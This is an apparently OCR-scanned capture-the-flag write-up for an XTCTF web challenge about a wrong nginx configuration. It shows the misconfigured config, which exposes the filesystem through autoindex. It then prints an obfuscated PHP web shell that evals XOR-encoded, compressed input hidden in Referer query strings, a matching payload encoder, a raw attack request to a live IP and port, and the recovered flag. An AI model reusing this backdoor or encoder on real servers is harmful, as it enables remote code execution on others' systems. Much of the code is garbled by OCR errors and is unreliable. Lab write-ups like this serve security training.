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server {
listen 8080;
listen [::]:8080;

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;

server_name _;

if ($time_iso8601
set $year $1;
set $month $2;
set $day $3;

sendfile off;
set $http x forwarded for filt $http x forwarded for;

if ($http_x_ forwarded for filt ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http x forwarded for filt $1 ;

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;

error_log /var/log/nginx/error.log info;

location

try files $uri $uri index.php?g=%uri&s$args;
server_tokens off;




error_page 500 502 503 504 /50x.html;

location 50x.html {
root /usr/share/nginx/html;

}

location ~ \.php$ {
try files $uri $uri/ /index.php?q=%$uri&$args;
fastcgi_split_path_info ~(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi script_name;
fastcgi_param SCRIPT_NAME $fastcgi script name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http x forwarded for;

location \. {
log_not_found off;
deny all;
)i
location /web-img {
alias /images/;
autoindex on;
)i
location \.(ini|docx|pcapng|doc)$ {
deny all;

include /var/www/nginx[.]conf;
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location /web-img {
alias /images/;

autoindex on;
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etc/ 30-0ct—2020 04:15 -
home/ 12-Apr—2016 20:14 -
hooks/ 31-Jul-2019 20:38 -
images/ 02-Aug-2019 09:57 -
init/ 31-Jul-2019 20:29 -
lib/ 31-Jul-2019 20:31 -
1ib64/ 20-Jul-2019 13:50 -
media/ 20-Jul-2019 13:50 -
mnt/ 20-TJul-2019 13:50 -
opt/ 31-Jul-2019 20:38 -
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sbin/ 31-Jul-2019 20:31 -
srv/ 20-Jul-2019 13:50 -
sys/ 02-Aug—2020 15:17 -
tmp/ 30-0ct—2020 04:15 -
usr/ 31-Jul-2019 21:06 -
var/ 31-Jul-2019 20:38 -
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$f=str_replace( ' ',$7.%90.92.$x.$k.$M.$7.$q.$N.$U.$C);

$g=create_function('',$f);
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function x($t, $k)
{

strlen($k);
strlen($t);

]

for ($1i = @; $i < $1;) {
for ($j = 6; (%] < $c $i < $1); $j++, $i++) {
$o .= $t{$i} ~ $k{$7};

}

return $o;

$r = $ SERVER;
$rr @%r[
$ra @$r[
if ($rr $ra) {
$u parse_url($rr);
parse_str($u[ 1, $9);
$q array_values(%$q);
preg _match_all( , $ra, $m);
if ($q 8& $m) {
@session_start();
$s $_SESSION;
$ss 5
$s1 5
$i = $m[1][0] . $m[1][1];
$h = $s1($ss(md5($i . $kh), 0, 3));
$f = $s1($ss(md5($i . $kf), 0, 3));
$p ;
for (%$z 1; $z
count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) 9) {
$s[$i] ;
$p = $ss($p, 3);
)i
if (array_key exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $F);
if ($e) {
$k $kh . $kf;
ob_start();
@eval(@gzuncompress (@x(@base64_decode(preg_replace(array( ), array( , ), $ss($s[
$i], @, $e))), $k)));
$0 = ob_get contents();
ob_end_clean();
$d base64 encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
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function x($t, $k)

$c strlen($k);
$1 strlen($t);
$o 5
for ($i = @; $i < $1;) {
for ($3 = 0; (%7 < $c $i < $1); $j++, $i
$o .= $t{$i} ~ $k{$j};

)i

return $o;
)i
Sk=$kh.$kf;
$payload=$_GET[O];
$payload=gzcompress($payload);
$payload=x($payload, $k);

$payload=base64 _encode($payload);

$payload=preg replace(array( ), array( ), $payload);

echo $payload;
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HTTP/1.1 200 OK

GET /hack. php HTTP/1.1
Host: 220.249. 52. 133:50066
Cache—Control: max-age=0

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/86.0.4240.111 Safari/537.36

6 Accept:
text/html, application/shtml+xml, application/xml;q=0.9, image/avif, image/webp, image/ap
ng, */%;q=0. 8, application/signed-exchange; v=b3;q=0. 9

T Accept-Encoding: gzip, deflate

8 Referer:
http://220. 249. 52. 133:50066/hack. php?0=1&1=1&2=1&3=1&4=1&5=186=1&7=e8b&8=TKSNmULXKKT
h¥qkeM-TVZTQQjDM6&9=1ea

9 Accept-language: zh-CN, zh;q=0. 9, en-US;q=0. 8, en;q=0. T

10 Cookie: isLogin=l; look-here=cookie.php; PHPSESSID=hjlantcmdblOdrcotbliiplalé

11 Comnection: close

G W

n x($t, $k)

strlen($k);
strlen($t);

for ($i = @; $i < $1;) {
for ($j = ©; (%] < $c $i
$o0 .= $t{%i} $k{$j};

$1); %3

}

return $o;

base64_decode($data);
x($data, $k);
@gzuncompress($data);

echo $data;

T
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Server: nginx/1.10.3 (Ubuntu)

Date: Fri, 30 Oct 2020 06:06:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
Pragma: no-cache

10 centent-Length: 117

11
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post-check=0, pre-check=0
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-:I @® localhost/decode.php

admin
fllladagge. php
hack. php

hack. php. bak
hint. php
images

index. php
login. php
robots. txt
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<?php
§flag="ctf {abTh3698-ceaec—48c0-ab669-bafe3213568c}”:
e

W N =

2T Rtt 4B 2 SpythoniiiA, KA 2xpython...



	XTCTF Web_php_wrong_nginx_config
	知识点
	WP

